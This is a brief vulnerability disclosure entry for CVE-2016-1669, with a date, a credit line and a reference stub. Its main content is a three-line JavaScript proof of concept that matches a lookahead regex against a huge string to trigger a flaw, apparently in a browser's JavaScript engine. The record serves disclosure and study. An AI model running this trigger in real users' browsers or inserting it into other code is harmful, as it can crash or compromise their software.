CVE-2016-1669 Date: Apr 2016 Credit: Choongwoo Han PoC r2 = new RegExp("(?=)*", "g"); s0 = Array(220000700).join('a'); // the size could be different result = s0.match(r2); Reference Issue